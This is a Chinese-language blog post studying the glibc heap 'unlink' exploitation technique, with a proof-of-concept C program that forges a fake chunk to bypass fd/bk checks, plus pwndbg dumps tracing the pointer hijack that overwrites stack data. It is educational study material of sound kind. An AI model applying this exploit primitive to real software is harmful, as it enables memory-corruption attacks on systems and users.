unlink_study

gdb写文章系列hhh

借鉴学习的师傅们的文章

在此感谢师傅们的无私分享

1
2
3
4
https://bbs.pediy.com/thread-224836.htm
https://bbs.pediy.com/thread-247007.htm
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/
https://blog.csdn.net/Pwnpanda/article/details/81369367


0x00 unlink

前面师傅们的文章已经写的很详尽了,我就不多说了,就先来简要介绍一下unlink好了

1.unlink的正常目的

unlink的目的就是为了拿出双向链表中的一个chunk

2.过程

在老版的unlink中是没有检查的,所作的工作也十分简单,借用下ctf-wiki的解释也就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);

unlink的过程也就是
设置 P->fd->bk = P->bk,P->bk->fd = P->fd的过程,也就是我们正常对双向链表删除其中一个之后把其余两个链接起来的过程

而现在的unlink自然是加了检查:

  • 检查chunk大小,即检查chunk_size==next_chunk->pre_size ? true:false;
  • 检查链表指针指向,即检查P->fd->bk==P&&P->BK->fd==P ? true:false;

使用unlink的时机

  • malloc
    1. 在恰好大小的large chunk处取chunk时
    2. 在比请求大小大的bin中取chunk时
  • Free
    1. 后向合并,合并物理相邻低物理地址空闲chunk时
    2. 前向合并,合并物理相邻高物理地址空闲chunk时(top chunk除外)
  • malloc_consolidate
    1. 后向合并,合并物理相邻低地址空闲chunk时。
    2. 前向合并,合并物理相邻高地址空闲 chunk时(top chunk除外)
  • realloc

    前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)。
    

利用条件

  1. use after free,并且可以修改smallbin或者unsorted bin的fd和kb指针时
  2. 已知位置存在一个指针指向可以UAF的chunk

效果

可以使得UAF的chunk指向向前第三个chunk..有点乱,就是p->p-0x18这样子

思路

  1. 修改 fd 为 p - 0x18

  2. 修改 bk 为 p - 0x10

  3. 触发 unlink

  4. p 处的指针会变为 p - 0x18。

0x01 利用方法

我们也借用Heap Exploitation系列的unlink来进行说明,这里我做了一点修改,我输出了chunk2的地址,并且做了一些输出说明

代码

先看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};

int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x80);
chunk2 = malloc(0x80);
printf("[*]chunk1_addr : %p\n", &chunk1);
printf("[*]chunk2_addr : %p\n",&chunk2);
printf("[*] chunk1 : %p\n", chunk1);
printf("[*]chunk2 : %p\n", chunk2);

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("[*]chunk1 :%p\n", chunk1);
printf("[*]chunk1[3] : %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

printf("%s\n",data);
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0;
}

程序运行结果

我们先运行一下程序看看程序的输出:

1
2
3
4
5
6
7
[*]chunk1_addr : 0x7fffa0b55ff0
[*]chunk2_addr : 0x7fffa0b55ff8
[*]chunk1 : 0xb3a010
[*]chunk2 : 0xb3a0a0
[*]chunk1 :0x7fffa0b55fd8
[*]chunk1[3] : a0b55fd8
hacked!

代码逻辑

代码逻辑很简单,程序先是创建了一个模拟free chunk的结构体,然后创建了两个unsigned long long 的chunk,分配了两个0x80的内存.
之后进行了三次输出,分别输出了chunk1的地址和chunk1,chunk2的内容
随后进行了类型强转,这时我们就有了一个模拟free chunk的fake chunk,并且chunk1我们还可以进行利用,意味着我们有了一个uaf的chunk即chunk1.
我们知道,chunk的指针给的是指向mem地址的,因此它后续的一些操作

1
2
3
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

小实例

在这里便于理解我写了一个小的demo来解释一些指针的加减,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>


int main()
{
long long *chunk1,*chunk2;
chunk1=malloc(0x80);
chunk2=malloc(0x80);
chunk1=100;
chunk2=200;
printf("%p\n",&chunk1);
printf("%p\n",chunk1);
printf("%p\n",&chunk2);
printf("%p\n",chunk2);
printf("%p\n",chunk1-3);
printf("%p\n",chunk1-2);
printf("%p\n",chunk1-1);
printf("%p\n",&chunk1-3);
printf("%p\n",&chunk1-2);
printf("%p\n",&chunk1-1);
}

我们编译运行一下:

1
2
3
4
5
6
7
8
9
10
11
'╰─# ./test
0x7ffdd51db3f8
0x64
0x7ffdd51db400
0xc8
0x4c
0x54
0x5c
0x7ffdd51db3e0 //chunk1-3
0x7ffdd51db3e8 //chunk1-2
0x7ffdd51db3f0 //chunk1-1

可以看到每次指针在做减法运算时地址其实每次减8,即

&str -1=str_addr - 8

程序分析

这时我们再来看看结构体

1
2
3
4
5
6
7
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};

我们知道正常chunk的指针是指向mem的,因此我们的chunk_structure就是指向mem的也就是chunk1的地址,我们调试一下.

1
2
3
4
5
6
7
8
9
10
11
 0x00000000004006cc <+102>:   mov    edi,0x40089e
0x00000000004006d1 <+107>: mov eax,0x0
0x00000000004006d6 <+112>: call 0x400530 <printf@plt>
0x00000000004006db <+117>: mov rax,QWORD PTR [rbp-0x38]
0x00000000004006df <+121>: mov rsi,rax
0x00000000004006e2 <+124>: mov edi,0x4008ae
0x00000000004006e7 <+129>: mov eax,0x0
0x00000000004006ec <+134>: call 0x400530 <printf@plt>
0x00000000004006f1 <+139>: mov rax,QWORD PTR [rbp-0x40]
0x00000000004006f5 <+143>: mov QWORD PTR [rbp-0x30],rax
=> 0x00000000004006f9 <+147>: lea rax,[rbp-0x40]

我在main_139行处下了断点,也就是第一次强转的地方,然后让第一次强转结束,这时看一下内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> p/x chunk1
$6 = 0x602010
pwndbg> p/x fake_chunk
$7 = 0x602010
pwndbg> x/10gx 0x602010
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x602010-16
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000

可以看到chunk_size是0x91,因为我们申请了0x80的内存,加上前面的16字节,然后和16位对齐,加一位标志位就刚刚好是0x91,此时的fake_chunk

1
2
3
4
5
6
7
$22 = {
prev_size = 0,
size = 0,
fd = 0x0,
bk = 0x0,
buf = "\000\000\000\000\000\000\000\000\000"
}

然后我们把后两步对于fd指针和bk指针的操作走完,再看一下内存

1
2
3
4
5
6
pwndbg> x/10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x00007fffffffe5d8 0x00007fffffffe5e0
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000

此时的fake_chunk:

1
2
3
4
5
6
7
$24 = {
prev_size = 0,
size = 0,
fd = 0x7fffffffe5d8,
bk = 0x7fffffffe5e0,
buf = "\000\000\000\000\000\000\000\000\000"
}

我们看一下fd指针和bk指针的指向内存:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/10gx 0x7fffffffe5d8
0x7fffffffe5d8: 0x00007ffff7ffe168 0x0000000000000003
0x7fffffffe5e8: 0x00000000004006f1 0x0000000000602010
0x7fffffffe5f8: 0x00000000006020a0 0x0000000000602010
0x7fffffffe608: 0x0000000000000000 0x00000000004007f0
0x7fffffffe618: 0x0000000000400570 0x00007fffffffe710
pwndbg> x/10gx 0x7fffffffe5e0
0x7fffffffe5e0: 0x0000000000000003 0x00000000004006f1
0x7fffffffe5f0: 0x0000000000602010 0x00000000006020a0
0x7fffffffe600: 0x0000000000602010 0x0000000000000000
0x7fffffffe610: 0x00000000004007f0 0x0000000000400570
0x7fffffffe620: 0x00007fffffffe710 0xd26463308dde9200

此时的fake_chunk_fd:

1
2
3
4
5
6
7
$26 = {
prev_size = 140737354129768,
size = 3,
fd = 0x4006f1 <main+139>,
bk = 0x602010,
buf = "\240 `\000\000\000\000\000\020 "
}

fake_chunk->bk:

1
2
3
4
5
6
7
$27 = {
prev_size = 3,
size = 4196081,
fd = 0x602010,
bk = 0x6020a0,
buf = "\020 `\000\000\000\000\000\000"
}

此时fake_chunk->fd->bk=chunk1
fake_chunk->bk->fd=chunk1
成功绕过指针指向检测
这里我们重新看看之前都做了什么操作

1
2
3
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

先让fake_chunk指向chunk1,然后把fake_chunk的fd指向chunk1-3的位置,这个位置正好能让fake_chunk->fd->bk=fake_chunk(chunk1),第三号同理,这时我们就成功通过了unlink的检测.

然后我们就需要看size的检测了,这是现在栈里的布局

1
2
3
4
5
6
7
8
9
10
11
pwndbg> stack 10
00:0000rsp 0x7fffffffe5f0 —▸ 0x602010 ◂— 0x0
01:00080x7fffffffe5f8 —▸ 0x6020a0 ◂— 0x0
02:00100x7fffffffe600 —▸ 0x602010 ◂— 0x0
03:00180x7fffffffe608 ◂— 0x0
04:00200x7fffffffe610 —▸ 0x4007f0 (__libc_csu_init) ◂— push r15
05:00280x7fffffffe618 —▸ 0x400570 (_start) ◂— xor ebp, ebp
06:00300x7fffffffe620 —▸ 0x7fffffffe710 ◂— 0x1
07:00380x7fffffffe628 ◂— 0xd26463308dde9200
08:0040rbp 0x7fffffffe630 —▸ 0x4007f0 (__libc_csu_init) ◂— push r15
09:00480x7fffffffe638 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax

后面要进行的操作是这样的:

1
2
3
4
5
6
7
8
9
10
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);

鉴于我们要用unlink操作,因此我们要把pre_size设为之前的chunk的size,然后把chunk2 free掉,下面就是进行Unlink操作了,free掉之后的栈里是这样的:

1
2
3
4
5
6
7
8
  00:0000rsp  0x7fffffffe5f0 —▸ 0x7fffffffe5d8 —▸ 0x400570 (_start) ◂— xor    ebp, ebp
01:00080x7fffffffe5f8 —▸ 0x6020a0 ◂— 0x0
02:00100x7fffffffe600 —▸ 0x602010 ◂— 0x0
03:00180x7fffffffe608 —▸ 0x602090 ◂— 0x80
04:00200x7fffffffe610 —▸ 0x400800 (__libc_csu_init) ◂— push r15
05:00280x7fffffffe618 —▸ 0x400570 (_start) ◂— xor ebp, ebp
06:00300x7fffffffe620 —▸ 0x7fffffffe710 ◂— 0x1
07:00380x7fffffffe628 ◂— 0x8d2094d70fe4fc00

可以看到我们已经成功的把chunk1的地址劫持到了0x7ffffffe5d8的位置,内存空间如下:

1
2
3
4
5
6
7
pwndbg> x/11gx 0x7fffffffe5d8-16
0x7fffffffe5c8: 0x0000000000000000 0x00007fffffffe630
0x7fffffffe5d8: 0x0000000000400570 0x00007fffffffe710
0x7fffffffe5e8: 0x0000000000400753 0x00007fffffffe5d8
0x7fffffffe5f8: 0x00000000006020a0 0x0000000000602010
0x7fffffffe608: 0x0000000000602090 0x0000000000400800
0x7fffffffe618: 0x0000000000400570

这时候我们再看chunk[3],也就是chunk+3

1
2
3
4
5
6
7
pwndbg> x/11gx 0x7fffffffe5d8+24
0x7fffffffe5f0: 0x00007fffffffe5d8 0x00000000006020a0
0x7fffffffe600: 0x0000000000602010 0x0000000000602090
0x7fffffffe610: 0x0000000000400800 0x0000000000400570
0x7fffffffe620: 0x00007fffffffe710 0x8d2094d70fe4fc00
0x7fffffffe630: 0x0000000000400800 0x00007ffff7a2d830
0x7fffffffe640: 0x0000000000000000

chunk[3]的地址也已经变成了chunk[1]的地址,然后就是最后的几个操作了

1
2
3
4
5
6
7
8
9
chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

printf("%s\n",data);
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

先是给chunk[3]赋值为”Victim’s data”,此时的栈:

1
2
3
4
5
6
7
8
rdx rsp  0x7fffffffe5f0 —▸ 0x7fffffffe610 ◂— "Victim's data"
01:00080x7fffffffe5f8 —▸ 0x6020a0 ◂— 0x0
02:00100x7fffffffe600 —▸ 0x602010 ◂— 0x0
03:00180x7fffffffe608 —▸ 0x602090 ◂— 0x80
04:0020rax 0x7fffffffe610 ◂— "Victim's data"
05:00280x7fffffffe618 ◂— 0x6174616420 /* ' data' */
06:00300x7fffffffe620 —▸ 0x7fffffffe710 ◂— 0x1
07:00380x7fffffffe628 ◂— 0x8d2094d70fe4fc00

chunk1的内容:

1
2
pwndbg> x/s chunk1
0x7fffffffe610: "Victim's data"

我们的chunk1已经改成了Victim's data
然后进行chunk1[0]的赋值,此时的栈:

1
2
3
4
5
6
7
8
00:0000rsp  0x7fffffffe5f0 —▸ 0x7fffffffe610 ◂— 0x2164656b636168 /* 'hacked!' */
01:00080x7fffffffe5f8 —▸ 0x6020a0 ◂— 0x0
02:00100x7fffffffe600 —▸ 0x602010 ◂— 0x0
03:00180x7fffffffe608 —▸ 0x602090 ◂— 0x80
04:0020rax 0x7fffffffe610 ◂— 0x2164656b636168 /* 'hacked!' */
05:00280x7fffffffe618 ◂— 0x6174616420 /* ' data' */
06:00300x7fffffffe620 —▸ 0x7fffffffe710 ◂— 0x1
07:00380x7fffffffe628 ◂— 0x8d2094d70fe4fc00

此时的data:

1
2
pwndbg> x/s data
0x7fffffffe610: "hacked!"

Over~


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!